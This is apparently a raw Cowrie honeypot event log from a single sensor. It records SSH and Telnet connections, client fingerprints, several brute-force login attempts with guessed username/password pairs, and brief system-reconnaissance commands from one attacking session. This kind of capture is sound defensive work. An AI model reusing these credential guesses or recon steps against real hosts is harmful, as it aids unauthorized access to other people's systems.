{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:49.888566Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:49.892612Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:50.157187Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:50.344989Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:50.348702Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:50.485308Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:50.491219Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58742,"dst_ip":"10.17.0.5","dst_port":23,"session":"03628335fc43","protocol":"telnet","message":"New connection: 50.6.8.71:58742 (10.17.0.5:23) [session: 03628335fc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:20:08.434319Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58748,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2627850d0f","protocol":"telnet","message":"New connection: 50.6.8.71:58748 (10.17.0.5:23) [session: 7f2627850d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:20:16.576677Z"}
{"eventid":"cowrie.session.closed","duration":33.428653955459595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:20:41.862847Z","src_ip":"50.6.8.71","session":"03628335fc43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.467779874801636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:20:51.044320Z","src_ip":"50.6.8.71","session":"7f2627850d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62094,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1e5c808f02c","protocol":"ssh","message":"New connection: 109.91.4.177:62094 (159.203.135.109:22) [session: c1e5c808f02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:05.762986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:05.769631Z","src_ip":"109.91.4.177","session":"c1e5c808f02c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:05.874485Z","src_ip":"109.91.4.177","session":"c1e5c808f02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security1","message":"login attempt [security/security1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:06.324655Z","src_ip":"109.91.4.177","session":"c1e5c808f02c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33110,"dst_ip":"10.17.0.5","dst_port":23,"session":"06fe332fd338","protocol":"telnet","message":"New connection: 50.6.8.71:33110 (10.17.0.5:23) [session: 06fe332fd338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:06.434046Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:07.432088Z","src_ip":"109.91.4.177","session":"c1e5c808f02c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":39838,"dst_ip":"159.203.135.109","dst_port":22,"session":"456a6db4b46d","protocol":"ssh","message":"New connection: 201.77.124.248:39838 (159.203.135.109:22) [session: 456a6db4b46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:14.735446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:14.740497Z","src_ip":"201.77.124.248","session":"456a6db4b46d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:14.877055Z","src_ip":"201.77.124.248","session":"456a6db4b46d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghostuser","password":"ghostuser","message":"login attempt [ghostuser/ghostuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:15.452245Z","src_ip":"201.77.124.248","session":"456a6db4b46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:16.591320Z","src_ip":"201.77.124.248","session":"456a6db4b46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.821587800979614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:21:40.255535Z","src_ip":"50.6.8.71","session":"06fe332fd338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":44306,"dst_ip":"159.203.135.109","dst_port":22,"session":"f659f0f601e0","protocol":"ssh","message":"New connection: 194.59.206.2:44306 (159.203.135.109:22) [session: f659f0f601e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:20.183616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:20.215454Z","src_ip":"194.59.206.2","session":"f659f0f601e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:20.305814Z","src_ip":"194.59.206.2","session":"f659f0f601e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:20.401016Z","src_ip":"194.59.206.2","session":"f659f0f601e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":64426,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a916dbf186","protocol":"ssh","message":"New connection: 201.77.124.248:64426 (159.203.135.109:22) [session: 58a916dbf186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:47.001292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:47.005852Z","src_ip":"201.77.124.248","session":"58a916dbf186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:47.141436Z","src_ip":"201.77.124.248","session":"58a916dbf186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warnightkardesim","message":"login attempt [root/warnightkardesim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:47.718379Z","src_ip":"201.77.124.248","session":"58a916dbf186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:48.863804Z","src_ip":"201.77.124.248","session":"58a916dbf186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58706,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b65bcbbb55","protocol":"telnet","message":"New connection: 50.6.8.71:58706 (10.17.0.5:23) [session: 24b65bcbbb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:22:54.864961Z"}
{"eventid":"cowrie.session.closed","duration":30.578157663345337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:23:25.442950Z","src_ip":"50.6.8.71","session":"24b65bcbbb55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42396,"dst_ip":"10.17.0.5","dst_port":23,"session":"7840f7d0ab6c","protocol":"telnet","message":"New connection: 50.6.8.71:42396 (10.17.0.5:23) [session: 7840f7d0ab6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:23:32.503707Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59470,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b050875c3c","protocol":"telnet","message":"New connection: 50.6.8.71:59470 (10.17.0.5:23) [session: 29b050875c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:23:55.700865Z"}
{"eventid":"cowrie.session.closed","duration":32.725772857666016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:24:05.229366Z","src_ip":"50.6.8.71","session":"7840f7d0ab6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":15110,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b1ea5469621","protocol":"ssh","message":"New connection: 201.77.124.248:15110 (159.203.135.109:22) [session: 6b1ea5469621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:24:19.336135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:24:19.340342Z","src_ip":"201.77.124.248","session":"6b1ea5469621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:24:19.477604Z","src_ip":"201.77.124.248","session":"6b1ea5469621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456","message":"login attempt [alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:24:20.029061Z","src_ip":"201.77.124.248","session":"6b1ea5469621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:24:21.325482Z","src_ip":"201.77.124.248","session":"6b1ea5469621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.50195360183716,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:24:38.202688Z","src_ip":"50.6.8.71","session":"29b050875c3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60371,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf62228713da","protocol":"ssh","message":"New connection: 109.91.4.177:60371 (159.203.135.109:22) [session: cf62228713da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:14.544409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:14.549289Z","src_ip":"109.91.4.177","session":"cf62228713da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:14.656618Z","src_ip":"109.91.4.177","session":"cf62228713da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:15.665402Z","src_ip":"109.91.4.177","session":"cf62228713da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52550,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa2251030d00","protocol":"telnet","message":"New connection: 50.6.8.71:52550 (10.17.0.5:23) [session: aa2251030d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:15.977612Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:16.773751Z","src_ip":"109.91.4.177","session":"cf62228713da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45764,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b7752204d6e","protocol":"telnet","message":"New connection: 50.6.8.71:45764 (10.17.0.5:23) [session: 9b7752204d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:22.622373Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.237","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"07067a7ef08a","protocol":"ssh","message":"New connection: 185.222.138.237:48084 (10.17.0.5:22) [session: 07067a7ef08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:46.847330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:46.852045Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
